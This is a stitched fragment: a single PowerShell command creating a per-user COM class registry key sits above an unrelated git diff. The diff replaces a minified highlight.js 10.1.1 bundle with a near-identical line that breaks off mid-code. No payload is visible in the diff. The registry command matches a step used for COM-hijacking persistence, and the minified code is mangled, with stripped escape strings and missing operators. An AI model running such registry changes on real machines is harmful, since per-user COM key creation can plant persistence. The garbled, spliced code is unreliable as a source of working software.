 New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
diff --git a/theme/highlight.js b/theme/highlight.js
index 18d24345b..7a0a28869 100644
--- a/theme/highlight.js
+++ b/theme/highlight.js
@@ -3,7 +3,7 @@
   License: BSD-3-Clause
   Copyright (c) 2006-2020, Ivan Sagalaev
 */
-var hljs=function(){"use strict";function e(n){Object.freeze(n);var t="function"==typeof n;return Object.getOwnPropertyNames(n).forEach((function(r){!Object.hasOwnProperty.call(n,r)||null===n[r]||"object"!=typeof n[r]&&"function"!=typeof n[r]||t&&("caller"===r||"callee"===r||"arguments"===r)||Object.isFrozen(n[r])||e(n[r])})),n}class n{constructor(e){void 0===e.data&&(e.data={}),this.data=e.data}ignoreMatch(){this.ignore=!0}}function t(e){return e.replace(/&/g,"&").replace(//g,">").replace(/"/g,""").replace(/'/g,"'")}function r(e,...n){var t={};for(const n in e)t[n]=e[n];return n.forEach((function(e){for(const n in e)t[n]=e[n]})),t}function a(e){return e.nodeName.toLowerCase()}var i=Object.freeze({__proto__:null,escapeHTML:t,inherit:r,nodeStream:function(e){var n=[];return function e(t,r){for(var i=t.firstChild;i;i=i.nextSibling)3===i.nodeType?r+=i.nodeValue.length:1===i.nodeType&&(n.push({event:"start",offset:r,node:i}),r=e(i,r),a(i).match(/br|hr|img|input/)||n.push({event:"stop",offset:r,node:i}));return r}(e,0),n},mergeStreams:function(e,n,r){var i=0,s="",o=[];function l(){return e.length&&n.length?e[0].offset!==n[0].offset?e[0].offset"}function u(e){s+=""}function d(e){("start"===e.event?c:u)(e.node)}for(;e.length||n.length;){var g=l();if(s+=t(r.substring(i,g[0].offset)),i=g[0].offset,g===e){o.reverse().forEach(u);do{d(g.splice(0,1)[0]),g=l()}while(g===e&&g.length&&g[0].offset===i);o.reverse().forEach(c)}else"start"===g[0].event?o.push(g[0].node):o.pop(),d(g.splice(0,1)[0])}return s+t(r.substr(i))}});const s="",o=e=>!!e.kind;class l{constructor(e,n){this.buffer="",this.classPrefix=n.classPrefix,e.walk(this)}addText(e){this.buffer+=t(e)}openNode(e){if(!o(e))return;let n=e.kind;e.sublanguage||(n=`${this.classPrefix}${n}`),this.span(n)}closeNode(e){o(e)&&(this.buffer+=s)}value(){return this.buffer}span(e){this.buffer+=``}}class c{constructor(){this.rootNode={children:[]},this.stack=[this.rootNode]}get top(){return this.stack[this.stack.length-1]}get root(){return this.rootNode}add(e){this.top.children.push(e)}openNode(e){const n={kind:e,children:[]};this.add(n),this.stack.push(n)}closeNode(){if(this.stack.length>1)return this.stack.pop()}closeAllNodes(){for(;this.closeNode(););}toJSON(){return JSON.stringify(this.rootNode,null,4)}walk(e){return this.constructor._walk(e,this.rootNode)}static _walk(e,n){return"string"==typeof n?e.addText(n):n.children&&(e.openNode(n),n.children.forEach(n=>this._walk(e,n)),e.closeNode(n)),e}static _collapse(e){"string"!=typeof e&&e.children&&(e.children.every(e=>"string"==typeof e)?e.children=[e.children.join("")]:e.children.forEach(e=>{c._collapse(e)}))}}class u extends c{constructor(e){super(),this.options=e}addKeyword(e,n){""!==e&&(this.openNode(n),this.addText(e),this.closeNode())}addText(e){""!==e&&this.add(e)}addSublanguage(e,n){const t=e.root;t.kind=n,t.sublanguage=!0,this.add(t)}toHTML(){return new l(this,this.options).value()}finalize(){return!0}}function d(e){return e?"string"==typeof e?e:e.source:null}const g="(-?)(\\b0[xX][a-fA-F0-9]+|(\\b\\d+(\\.\\d*)?|\\.\\d+)([eE][-+]?\\d+)?)",h={begin:"\\\\[\\s\\S]",relevance:0},f={className:"string",begin:"'",end:"'",illegal:"\\n",contains:[h]},p={className:"string",begin:'"',end:'"',illegal:"\\n",contains:[h]},b={begin:/\b(a|an|the|are|I'm|isn't|don't|doesn't|won't|but|just|should|pretty|simply|enough|gonna|going|wtf|so|such|will|you|your|they|like|more)\b/},m=function(e,n,t={}){var a=r({className:"comment",begin:e,end:n,contains:[]},t);return a.contains.push(b),a.contains.push({className:"doctag",begin:"(?:TODO|FIXME|NOTE|BUG|OPTIMIZE|HACK|XXX):",relevance:0}),a},v=m("//","$"),x=m("/\\*","\\*/"),E=m("#","$");var _=Object.freeze({__proto__:null,IDENT_RE:"[a-zA-Z]\\w*",UNDERSCORE_IDENT_RE:"[a-zA-Z_]\\w*",NUMBER_RE:"\\b\\d+(\\.\\d+)?",C_NUMBER_RE:g,BINARY_NUMBER_RE:"\\b(0b[01]+)",RE_STARTERS_RE:"!|!=|!==|%|%=|&|&&|&=|\\*|\\*=|\\+|\\+=|,|-|-=|/=|/|:|;|<<|<<=|<=|<|===|==|=|>>>=|>>=|>=|>>>|>>|>|\\?|\\[|\\{|\\(|\\^|\\^=|\\||\\|=|\\|\\||~",SHEBANG:(e={})=>{const n=/^#![ ]*\//;return e.binary&&(e.begin=function(...e){return e.map(e=>d(e)).join("")}(n,/.*\b/,e.binary,/\b.*/)),r({className:"meta",begin:n,end:/$/,relevance:0,"on:begin":(e,n)=>{0!==e.index&&n.ignoreMatch()}},e)},BACKSLASH_ESCAPE:h,APOS_STRING_MODE:f,QUOTE_STRING_MODE:p,PHRASAL_WORDS_MODE:b,COMMENT:m,C_LINE_COMMENT_MODE:v,C_BLOCK_COMMENT_MODE:x,HASH_COMMENT_MODE:E,NUMBER_MODE:{className:"number",begin:"\\b\\d+(\\.\\d+)?",relevance:0},C_NUMBER_MODE:{className:"number",begin:g,relevance:0},BINARY_NUMBER_MODE:{className:"number",begin:"\\b(0b[01]+)",relevance:0},CSS_NUMBER_MODE:{className:"number",begin:"\\b\\d+(\\.\\d+)?(%|em|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc|px|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx)?",relevance:0},REGEXP_MODE:{begin:/(?=\/[^/\n]*\/)/,contains:[{className:"regexp",begin:/\//,end:/\/[gimuy]*/,illegal:/\n/,contains:[h,{begin:/\[/,end:/\]/,relevance:0,contains:[h]}]}]},TITLE_MODE:{className:"title",begin:"[a-zA-Z]\\w*",relevance:0},UNDERSCORE_TITLE_MODE:{className:"title",begin:"[a-zA-Z_]\\w*",relevance:0},METHOD_GUARD:{begin:"\\.\\s*[a-zA-Z_]\\w*",relevance:0},END_SAME_AS_BEGIN:function(e){return Object.assign(e,{"on:begin":(e,n)=>{n.data._beginMatch=e[1]},"on:end":(e,n)=>{n.data._beginMatch!==e[1]&&n.ignoreMatch()}})}}),N="of and for in not or if then".split(" ");function w(e,n){return n?+n:function(e){return N.includes(e.toLowerCase())}(e)?0:1}const R=t,y=r,{nodeStream:k,mergeStreams:O}=i,M=Symbol("nomatch");return function(t){var a=[],i={},s={},o=[],l=!0,c=/(^(<[^>]+>|\t|)+|\n)/gm,g="Could not find the language '{}', did you forget to load/include a language module?";const h={disableAutodetect:!0,name:"Plain text",contains:[]};var f={noHighlightRe:/^(no-?highlight)$/i,languageDetectRe:/\blang(?:uage)?-([\w-]+)\b/i,classPrefix:"hljs-",tabReplace:null,useBR:!1,languages:null,__emitter:u};function p(e){return f.noHighlightRe.test(e)}function b(e,n,t,r){var a={code:n,language:e};S("before:highlight",a);var i=a.result?a.result:m(a.language,a.code,t,r);return i.code=a.code,S("after:highlight",i),i}function m(e,t,a,s){var o=t;function c(e,n){var t=E.case_insensitive?n[0].toLowerCase():n[0];return Object.prototype.hasOwnProperty.call(e.keywords,t)&&e.keywords[t]}function u(){null!=y.subLanguage?function(){if(""!==A){var e=null;if("string"==typeof y.subLanguage){if(!i[y.subLanguage])return void O.addText(A);e=m(y.subLanguage,A,!0,k[y.subLanguage]),k[y.subLanguage]=e.top}else e=v(A,y.subLanguage.length?y.subLanguage:null);y.relevance>0&&(I+=e.relevance),O.addSublanguage(e.emitter,e.language)}}():function(){if(!y.keywords)return void O.addText(A);let e=0;y.keywordPatternRe.lastIndex=0;let n=y.keywordPatternRe.exec(A),t="";for(;n;){t+=A.substring(e,n.index);const r=c(y,n);if(r){const[e,a]=r;O.addText(t),t="",I+=a,O.addKeyword(n[0],e)}else t+=n[0];e=y.keywordPatternRe.lastIndex,n=y.keywordPatternRe.exec(A)}t+=A.substr(e),O.addText(t)}(),A=""}function h(e){return e.className&&O.openNode(e.className),y=Object.create(e,{parent:{value:y}})}function p(e){return 0===y.matcher.regexIndex?(A+=e[0],1):(L=!0,0)}var b={};function x(t,r){var i=r&&r[0];if(A+=t,null==i)return u(),0;if("begin"===b.type&&"end"===r.type&&b.index===r.index&&""===i){if(A+=o.slice(r.index,r.index+1),!l){const n=Error("0 width match regex");throw n.languageName=e,n.badRule=b.rule,n}return 1}if(b=r,"begin"===r.type)return function(e){var t=e[0],r=e.rule;const a=new n(r),i=[r.__beforeBegin,r["on:begin"]];for(const n of i)if(n&&(n(e,a),a.ignore))return p(t);return r&&r.endSameAsBegin&&(r.endRe=RegExp(t.replace(/[-/\\^$*+?.()|[\]{}]/g,"\\$&"),"m")),r.skip?A+=t:(r.excludeBegin&&(A+=t),u(),r.returnBegin||r.excludeBegin||(A=t)),h(r),r.returnBegin?0:t.length}(r);if("illegal"===r.type&&!a){const e=Error('Illegal lexeme "'+i+'" for mode "'+(y.className||"")+'"');throw e.mode=y,e}if("end"===r.type){var s=function(e){var t=e[0],r=o.substr(e.index),a=function e(t,r,a){let i=function(e,n){var t=e&&e.exec(n);return t&&0===t.index}(t.endRe,a);if(i){if(t["on:end"]){const e=new n(t);t["on:end"](r,e),e.ignore&&(i=!1)}if(i){for(;t.endsParent&&t.parent;)t=t.parent;return t}}if(t.endsWithParent)return e(t.parent,r,a)}(y,e,r);if(!a)return M;var i=y;i.skip?A+=t:(i.returnEnd||i.excludeEnd||(A+=t),u(),i.excludeEnd&&(A=t));do{y.className&&O.closeNode(),y.skip||y.subLanguage||(I+=y.relevance),y=y.parent}while(y!==a.parent);return a.starts&&(a.endSameAsBegin&&(a.starts.endRe=a.endRe),h(a.starts)),i.returnEnd?0:t.length}(r);if(s!==M)return s}if("illegal"===r.type&&""===i)return 1;if(B>1e5&&B>3*r.index)throw Error("potential infinite loop, way more iterations than matches");return A+=i,i.length}var E=T(e);if(!E)throw console.error(g.replace("{}",e)),Error('Unknown language: "'+e+'"');var _=function(e){function n(n,t){return RegExp(d(n),"m"+(e.case_insensitive?"i":"")+(t?"g":""))}class t{constructor(){this.matchIndexes={},this.regexes=[],this.matchAt=1,this.position=0}addRule(e,n){n.position=this.position++,this.matchIndexes[this.matchAt]=n,this.regexes.push([n,e]),this.matchAt+=function(e){return RegExp(e.toString()+"|").exec("").length-1}(e)+1}compile(){0===this.regexes.length&&(this.exec=()=>null);const e=this.regexes.map(e=>e[1]);this.matcherRe=n(function(e,n="|"){for(var t=/\[(?:[^\\\]]|\\.)*\]|\(\??|\\([1-9][0-9]*)|\\./,r=0,a="",i=0;i0&&(a+=n),a+="(";o.length>0;){var l=t.exec(o);if(null==l){a+=o;break}a+=o.substring(0,l.index),o=o.substring(l.index+l[0].length),"\\"===l[0][0]&&l[1]?a+="\\"+(+l[1]+s):(a+=l[0],"("===l[0]&&r++)}a+=")"}return a}(e),!0),this.lastIndex=0}exec(e){this.matcherRe.lastIndex=this.lastIndex;const n=this.matcherRe.exec(e);if(!n)return null;const t=n.findIndex((e,n)=>n>0&&void 0!==e),r=this.matchIndexes[t];return n.splice(0,t),Object.assign(n,r)}}class a{constructor(){this.rules=[],this.multiRegexes=[],this.count=0,this.lastIndex=0,this.regexIndex=0}getMatcher(e){if(this.multiRegexes[e])return this.multiRegexes[e];const n=new t;return this.rules.slice(e).forEach(([e,t])=>n.addRule(e,t)),n.compile(),this.multiRegexes[e]=n,n}considerAll(){this.regexIndex=0}addRule(e,n){this.rules.push([e,n]),"begin"===n.type&&this.count++}exec(e){const n=this.getMatcher(this.regexIndex);n.lastIndex=this.lastIndex;const t=n.exec(e);return t&&(this.regexIndex+=t.position+1,this.regexIndex===this.count&&(this.regexIndex=0)),t}}function i(e,n){const t=e.input[e.index-1],r=e.input[e.index+e[0].length];"."!==t&&"."!==r||n.ignoreMatch()}if(e.contains&&e.contains.includes("self"))throw Error("ERR: contains `self` is not supported at the top-level of a language.  See documentation.");return function t(s,o){const l=s;if(s.compiled)return l;s.compiled=!0,s.__beforeBegin=null,s.keywords=s.keywords||s.beginKeywords;let c=null;if("object"==typeof s.keywords&&(c=s.keywords.$pattern,delete s.keywords.$pattern),s.keywords&&(s.keywords=function(e,n){var t={};return"string"==typeof e?r("keyword",e):Object.keys(e).forEach((function(n){r(n,e[n])})),t;function r(e,r){n&&(r=r.toLowerCase()),r.split(" ").forEach((function(n){var r=n.split("|");t[r[0]]=[e,w(r[0],r[1])]}))}}(s.keywords,e.case_insensitive)),s.lexemes&&c)throw Error("ERR: Prefer `keywords.$pattern` to `mode.lexemes`, BOTH are not allowed. (see mode reference) ");return l.keywordPatternRe=n(s.lexemes||c||/\w+/,!0),o&&(s.beginKeywords&&(s.begin="\\b("+s.beginKeywords.split(" ").join("|")+")(?=\\b|\\s)",s.__beforeBegin=i),s.begin||(s.begin=/\B|\b/),l.beginRe=n(s.begin),s.endSameAsBegin&&(s.end=s.begin),s.end||s.endsWithParent||(s.end=/\B|\b/),s.end&&(l.endRe=n(s.end)),l.terminator_end=d(s.end)||"",s.endsWithParent&&o.terminator_end&&(l.terminator_end+=(s.end?"|":"")+o.terminator_end)),s.illegal&&(l.illegalRe=n(s.illegal)),void 0===s.relevance&&(s.relevance=1),s.contains||(s.contains=[]),s.contains=[].concat(...s.contains.map((function(e){return function(e){return e.variants&&!e.cached_variants&&(e.cached_variants=e.variants.map((function(n){return r(e,{variants:null},n)}))),e.cached_variants?e.cached_variants:function e(n){return!!n&&(n.endsWithParent||e(n.starts))}(e)?r(e,{starts:e.starts?r(e.starts):null}):Object.isFrozen(e)?r(e):e}("self"===e?s:e)}))),s.contains.forEach((function(e){t(e,l)})),s.starts&&t(s.starts,o),l.matcher=function(e){const n=new a;return e.contains.forEach(e=>n.addRule(e.begin,{rule:e,type:"begin"})),e.terminator_end&&n.addRule(e.terminator_end,{type:"end"}),e.illegal&&n.addRule(e.illegal,{type:"illegal"}),n}(l),l}(e)}(E),N="",y=s||_,k={},O=new f.__emitter(f);!function(){for(var e=[],n=y;n!==E;n=n.parent)n.className&&e.unshift(n.className);e.forEach(e=>O.openNode(e))}();var A="",I=0,S=0,B=0,L=!1;try{for(y.matcher.considerAll();;){B++,L?L=!1:(y.matcher.lastIndex=S,y.matcher.considerAll());const e=y.matcher.exec(o);if(!e)break;const n=x(o.substring(S,e.index),e);S=e.index+n}return x(o.substr(S)),O.closeAllNodes(),O.finalize(),N=O.toHTML(),{relevance:I,value:N,language:e,illegal:!1,emitter:O,top:y}}catch(n){if(n.message&&n.message.includes("Illegal"))return{illegal:!0,illegalBy:{msg:n.message,context:o.slice(S-100,S+100),mode:n.mode},sofar:N,relevance:0,value:R(o),emitter:O};if(l)return{illegal:!1,relevance:0,value:R(o),emitter:O,language:e,top:y,errorRaised:n};throw n}}function v(e,n){n=n||f.languages||Object.keys(i);var t=function(e){const n={relevance:0,emitter:new f.__emitter(f),value:R(e),illegal:!1,top:h};return n.emitter.addText(e),n}(e),r=t;return n.filter(T).filter(I).forEach((function(n){var a=m(n,e,!1);a.language=n,a.relevance>r.relevance&&(r=a),a.relevance>t.relevance&&(r=t,t=a)})),r.language&&(t.second_best=r),t}function x(e){return f.tabReplace||f.useBR?e.replace(c,e=>"\n"===e?f.useBR?"
":e:f.tabReplace?e.replace(/\t/g,f.tabReplace):e):e}function E(e){let n=null;const t=function(e){var n=e.className+" ";n+=e.parentNode?e.parentNode.className:"";const t=f.languageDetectRe.exec(n);if(t){var r=T(t[1]);return r||(console.warn(g.replace("{}",t[1])),console.warn("Falling back to no-highlight mode for this block.",e)),r?t[1]:"no-highlight"}return n.split(/\s+/).find(e=>p(e)||T(e))}(e);if(p(t))return;S("before:highlightBlock",{block:e,language:t}),f.useBR?(n=document.createElement("div")).innerHTML=e.innerHTML.replace(/\n/g,"").replace(//g,"\n"):n=e;const r=n.textContent,a=t?b(t,r,!0):v(r),i=k(n);if(i.length){const e=document.createElement("div");e.innerHTML=a.value,a.value=O(i,k(e),r)}a.value=x(a.value),S("after:highlightBlock",{block:e,result:a}),e.innerHTML=a.value,e.className=function(e,n,t){var r=n?s[n]:t,a=[e.trim()];return e.match(/\bhljs\b/)||a.push("hljs"),e.includes(r)||a.push(r),a.join(" ").trim()}(e.className,t,a.language),e.result={language:a.language,re:a.relevance,relavance:a.relevance},a.second_best&&(e.second_best={language:a.second_best.language,re:a.second_best.relevance,relavance:a.second_best.relevance})}const N=()=>{if(!N.called){N.called=!0;var e=document.querySelectorAll("pre code");a.forEach.call(e,E)}};function T(e){return e=(e||"").toLowerCase(),i[e]||i[s[e]]}function A(e,{languageName:n}){"string"==typeof e&&(e=[e]),e.forEach(e=>{s[e]=n})}function I(e){var n=T(e);return n&&!n.disableAutodetect}function S(e,n){var t=e;o.forEach((function(e){e[t]&&e[t](n)}))}Object.assign(t,{highlight:b,highlightAuto:v,fixMarkup:x,highlightBlock:E,configure:function(e){f=y(f,e)},initHighlighting:N,initHighlightingOnLoad:function(){window.addEventListener("DOMContentLoaded",N,!1)},registerLanguage:function(e,n){var r=null;try{r=n(t)}catch(n){if(console.error("Language definition for '{}' could not be registered.".replace("{}",e)),!l)throw n;console.error(n),r=h}r.name||(r.name=e),i[e]=r,r.rawDefinition=n.bind(null,t),r.aliases&&A(r.aliases,{languageName:e})},listLanguages:function(){return Object.keys(i)},getLanguage:T,registerAliases:A,requireLanguage:function(e){var n=T(e);if(n)return n;throw Error("The '{}' language is required, but not loaded.".replace("{}",e))},autoDetection:I,inherit:y,addPlugin:function(e){o.push(e)}}),t.debugMode=function(){l=!1},t.safeMode=function(){l=!0},t.versionString="10.1.1";for(const n in _)"object"==typeof _[n]&&e(_[n]);return Object.assign(t,_),t}({})}();"object"==typeof exports&&"undefined"!=typeof module&&(module.exports=hljs); +var hljs=function(){"use strict";function e(n){Object.freeze(n);var t="function"==typeof n;return Object.getOwnPropertyNames(n).forEach((function(r){!Object.hasOwnProperty.call(n,r)||null===n[r]||"object"!=typeof n[r]&&"function"!=typeof n[r]||t&&("caller"===r||"callee"===r||"arguments"===r)||Object.isFrozen(n[r])||e(n[r])})),n}class n{constructor(e){void 0===e.data&&(e.data={}),this.data=e.data}ignoreMatch(){this.ignore=!0}}function t(e){return e.replace(/&/g,"&").replace(//g,">").replace(/"/g,""").replace(/'/g,"'")}function r(e,...n){var t={};for(const n in e)t[n]=e[n];return n.forEach((function(e){for(const n in e)t[n]=e[n]})),t}function a(e){return e.nodeName.toLowerCase()}var i=Object.freeze({__proto__:null,escapeHTML:t,inherit:r,nodeStream:function(e){var n=[];return function e(t,r){for(var i=t.firstChild;i;i=i.nextSibling)3===i.nodeType?r+=i.nodeValue.length:1===i.nodeType&&(n.push({event:"start",offset:r,node:i}),r=e(i,r),a(i).match(/br|hr|img|input/)||n.push({event:"stop",offset:r,node:i}));return r}(e,0),n},mergeStreams:function(e,n,r){var i=0,s="",o=[];function l(){return e.length&&n.length?e[0].offset!==n[0].offset?e[0].offset"}function u(e){s+=""}function d(e){("start"===e.event?c:u)(e.node)}for(;e.length||n.length;){var g=l();if(s+=t(r.substring(i,g[0].offset)),i=g[0].offset,g===e){o.reverse().forEach(u);do{d(g.splice(0,1)[0]),g=l()}while(g===e&&g.length&&g[0].offset===i);o.reverse().forEach(c)}else"start"===g[0].event?o.push(g[0].node):o.pop(),d(g.splice(0,1)[0])}return s+t(r.substr(i))}});const s="
",o=e=>!!e.kind;class l{constructor(e,n){this.buffer="",this.classPrefix=n.classPrefix,e.walk(this)}addText(e){this.buffer+=t(e)}openNode(e){if(!o(e))return;let n=e.kind;e.sublanguage||(n=`${this.classPrefix}${n}`),this.span(n)}closeNode(e){o(e)&&(this.buffer+=s)}value(){return this.buffer}span(e){this.buffer+=``}}class c{constructor(){this.rootNode={children:[]},this.stack=[this.rootNode]}get top(){return this.stack[this.stack.length-1]}get root(){return this.rootNode}add(e){this.top.children.push(e)}openNode(e){const n={kind:e,children:[]};this.add(n),this.stack.push(n)}closeNode(){if(this.stack.length>1)return this.stack.pop()}closeAllNodes(){for(;this.closeNode(););}toJSON(){return JSON.stringify(this.rootNode,null,4)}walk(e){return this.constructor._walk(e,this.rootNode)}static _walk(e,n){return"string"==typeof n?e.addText(n):n.children&&(e.openNode(n),n.children.forEach(n=>this._walk(e,n)),e.closeNode(n)),e}static _collapse(e){"string"!=typeof e&&e.children&&(e.children.every(e=>"string"==typeof e)?e.children=[e.children.join("")]:e.children.forEach(e=>{c._collapse(e)}))}}class u extends c{constructor(e){super(),this.options=e}addKeyword(e,n){""!==e&&(this.openNode(n),this.addText(e),this.closeNode())}addText(e){""!==e&&this.add(e)}addSublanguage(e,n){const t=e.root;t.kind=n,t.sublanguage=!0,this.add(t)}toHTML(){return new l(this,this.options).value()}finalize(){return!0}}function d(e){return e?"string"==typeof e?e:e.source:null}const g="(-?)(\\b0[xX][a-fA-F0-9]+|(\\b\\d+(\\.\\d*)?|\\.\\d+)([eE][-+]?\\d+)?)",h={begin:"\\\\[\\s\\S]",relevance:0},f={className:"string",begin:"'",end:"'",illegal:"\\n",contains:[h]},p={className:"string",begin:'"',end:'"',illegal:"\\n",contains:[h]},b={begin:/\b(a|an|the|are|I'm|isn't|don't|doesn't|won't|but|just|should|pretty|simply|enough|gonna|going|wtf|so|such|will|you|your|they|like|more)\b/},m=function(e,n,t={}){var a=r({className:"comment",begin:e,end:n,contains:[]},t);return a.contains.push(b),a.contains.push({className:"doctag",begin:"(?:TODO|FIXME|NOTE|BUG|OPTIMIZE|HACK|XXX):",relevance:0}),a},v=m("//","$"),x=m("/\\*","\\*/"),E=m("#","$");var _=Object.freeze({__proto__:null,IDENT_RE:"[a-zA-Z]\\w*",UNDERSCORE_IDENT_RE:"[a-zA-Z_]\\w*",NUMBER_RE:"\\b\\d+(\\.\\d+)?",C_NUMBER_RE:g,BINARY_NUMBER_RE:"\\b(0b[01]+)",RE_STARTERS_RE:"!|!=|!==|%|%=|&|&&|&=|\\*|\\*=|\\+|\\+=|,|-|-=|/=|/|:|;|<<|<<=|<=|<|===|==|=|>>>=|>>=|>=|>>>|>>|>|\\?|\\[|\\{|\\(|\\^|\\^=|\\||\\|=|\\|\\||~",SHEBANG:(e={})=>{const n=/^#![ ]*\//;return e.binary&&(e.begin=function(...e){return e.map(e=>d(e)).join("")}(n,/.*\b/,e.binary,/\b.*/)),r({className:"meta",begin:n,end:/$/,relevance:0,"on:begin":(e,n)=>{0!==e.index&&n.ignoreMatch()}},e)},BACKSLASH_ESCAPE:h,APOS_STRING_MODE:f,QUOTE_STRING_MODE:p,PHRASAL_WORDS_MODE:b,COMMENT:m,C_LINE_COMMENT_MODE:v,C_BLOCK_COMMENT_MODE:x,HASH_COMMENT_MODE:E,NUMBER_MODE:{className:"number",begin:"\\b\\d+(\\.\\d+)?",relevance:0},C_NUMBER_MODE:{className:"number",begin:g,relevance:0},BINARY_NUMBER_MODE:{className:"number",begin:"\\b(0b[01]+)",relevance:0},CSS_NUMBER_MODE:{className:"number",begin:"\\b\\d+(\\.\\d+)?(%|em|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc|px|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx)?",relevance:0},REGEXP_MODE:{begin:/(?=\/[^/\n]*\/)/,contains:[{className:"regexp",begin:/\//,end:/\/[gimuy]*/,illegal:/\n/,contains:[h,{begin:/\[/,end:/\]/,relevance:0,contains:[h]}]}]},TITLE_MODE:{className:"title",begin:"[a-zA-Z]\\w*",relevance:0},UNDERSCORE_TITLE_MODE:{className:"title",begin:"[a-zA-Z_]\\w*",relevance:0},METHOD_GUARD:{begin:"\\.\\s*[a-zA-Z_]\\w*",relevance:0},END_SAME_AS_BEGIN:function(e){return Object.assign(e,{"on:begin":(e,n)=>{n.data._beginMatch=e[1]},"on:end":(e,n)=>{n.data._beginMatch!==e[1]&&n.ignoreMatch()}})}}),N="of and for in not or if then".split(" ");function w(e,n){return n?+n:function(e){return N.includes(e.toLowerCase())}(e)?0:1}const R=t,y=r,{nodeStream:k,mergeStreams:O}=i,M=Symbol("nomatch");return function(t){var a=[],i={},s={},o=[],l=!0,c=/(^(<[^>]+>|\t|)+|\n)/gm,g="Could not find the language '{}', did you forget to load/include a language module?";const h={disableAutodetect:!0,name:"Plain text",contains:[]};var f={noHighlightRe:/^(no-?highlight)$/i,languageDetectRe:/\blang(?:uage)?-([\w-]+)\b/i,classPrefix:"hljs-",tabReplace:null,useBR:!1,languages:null,__emitter:u};function p(e){return f.noHighlightRe.test(e)}function b(e,n,t,r){var a={code:n,language:e};S("before:highlight",a);var i=a.result?a.result:m(a.language,a.code,t,r);return i.code=a.code,S("after:highlight",i),i}function m(e,t,a,s){var o=t;function c(e,n){var t=E.case_insensitive?n[0].toLowerCase():n[0];return Object.prototype.hasOwnProperty.call(e.keywords,t)&&e.keywords[t]}function u(){null!=y.subLanguage?function(){if(""!==A){var e=null;if("string"==typeof y.subLanguage){if(!i[y.subLanguage])return void O.addText(A);e=m(y.subLanguage,A,!0,k[y.subLanguage]),k[y.subLanguage]=e.top}else e=v(A,y.subLanguage.length?y.subLanguage:null);y.relevance>0&&(I+=e.relevance),O.addSublanguage(e.emitter,e.language)}}():function(){if(!y.keywords)return void O.addText(A);let e=0;y.keywordPatternRe.lastIndex=0;let n=y.keywordPatternRe.exec(A),t="";for(;n;){t+=A.substring(e,n.index);const r=c(y,n);if(r){const[e,a]=r;O.addText(t),t="",I+=a,O.addKeyword(n[0],e)}else t+=n[0];e=y.keywordPatternRe.lastIndex,n=y.keywordPatternRe.exec(A)}t+=A.substr(e),O.addText(t)}(),A=""}function h(e){return e.className&&O.openNode(e.className),y=Object.create(e,{parent:{value:y}})}function p(e){return 0===y.matcher.regexIndex?(A+=e[0],1):(L=!0,0)}var b={};function x(t,r){var i=r&&r[0];if(A+=t,null==i)return u(),0;if("begin"===b.type&&"end"===r.type&&b.index===r.index&&""===i){if(A+=o.slice(r.index,r.index+1),!l){const n=Error("0 width match regex");throw n.languageName=e,n.badRule=b.rule,n}return 1}if(b=r,"begin"===r.type)return function(e){var t=e[0],r=e.rule;const a=new n(r),i=[r.__beforeBegin,r["on:begin"]];for(const n of i)if(n&&(n(e,a),a.ignore))return p(t);return r&&r.endSameAsBegin&&(r.endRe=RegExp(t.replace(/[-/\\^$*+?.()|[\]{}]/g,"\\$&"),"m")),r.skip?A+=t:(r.excludeBegin&&(A+=t),u(),r.returnBegin||r.excludeBegin||(A=t)),h(r),r.returnBegin?0:t.length}(r);if("illegal"===r.type&&!a){const e=Error('Illegal lexeme "'+i+'" for mode "'+(y.className||"")+'"');throw e.mode=y,e}if("end"===r.type){var s=function(e){var t=e[0],r=o.substr(e.index),a=function e(t,r,a){let i=function(e,n){var t=e&&e.exec(n);return t&&0===t.index}(t.endRe,a);if(i){if(t["on:end"]){const e=new n(t);t["on:end"](r,e),e.ignore&&(i=!1)}if(i){for(;t.endsParent&&t.parent;)t=t.parent;return t}}if(t.endsWithParent)return e(t.parent,r,a)}(y,e,r);if(!a)return M;var i=y;i.skip?A+=t:(i.returnEnd||i.excludeEnd||(A+=t),u(),i.excludeEnd&&(A=t));do{y.className&&O.closeNode(),y.skip||y.subLanguage||(I+=y.relevance),y=y.parent}while(y!==a.parent);return a.starts&&(a.endSameAsBegin&&(a.starts.endRe=a.endRe),h(a.starts)),i.returnEnd?0:t.length}(r);if(s!==M)return s}if("illegal"===r.type&&""===i)return 1;if(B>1e5&&B>3*r.index)throw Error("potential infinite loop, way more iterations than matches");return A+=i,i.length}var E=T(e);if(!E)throw console.error(g.replace("{}",e)),Error('Unknown language: "'+e+'"');var _=function(e){function n(n,t){return RegExp(d(n),"m"+(e.case_insensitive?"i":"")+(t?"g":""))}class t{constructor(){this.matchIndexes={},this.regexes=[],this.matchAt=1,this.position=0}addRule(e,n){n.position=this.position++,this.matchIndexes[this.matchAt]=n,this.regexes.push([n,e]),this.matchAt+=function(e){return RegExp(e.toString()+"|").exec("").length-1}(e)+1}compile(){0===this.regexes.length&&(this.exec=()=>null);const e=this.regexes.map(e=>e[1]);this.matcherRe=n(function(e,n="|"){for(var t=/\[(?:[^\\\]]|\\.)*\]|\(\??|\\([1-9][0-9]*)|\\./,r=0,a="",i=0;i0&&(a+=n),a+="(";o.length>0;){var l=t.exec(o);if(null==l){a+=o;break}a+=o.substring(0,l.index),o=o.substring(l.index+l[0].length),"\\"===l[0][0]&&l[1]?a+="\\"+(+l[1]+s):(a+=l[0],"("===l[0]&&r++)}a+=")"}return a}(e),!0),this.lastIndex=0}exec(e){this.matcherRe.lastIndex=this.lastIndex;const n=this.matcherRe.exec(e);if(!n)return null;const t=n.findIndex((e,n)=>n>0&&void 0!==e),r=this.matchIndexes[t];return n.splice(0,t),Object.assign(n,r)}}class a{constructor(){this.rules=[],this.multiRegexes=[],this.count=0,this.lastIndex=0,this.regexIndex=0}getMatcher(e){if(this.multiRegexes[e])return this.multiRegexes[e];const n=new t;return this.rules.slice(e).forEach(([e,t])=>n.addRule(e,t)),n.compile(),this.multiRegexes[e]=n,n}considerAll(){this.regexIndex=0}addRule(e,n){this.rules.push([e,n]),"begin"===n.type&&this.count++}exec(e){const n=this.getMatcher(this.regexIndex);n.lastIndex=this.lastIndex;const t=n.exec(e);return t&&(this.regexIndex+=t.position+1,this.regexIndex===this.count&&(this.regexIndex=0)),t}}function i(e,n){const 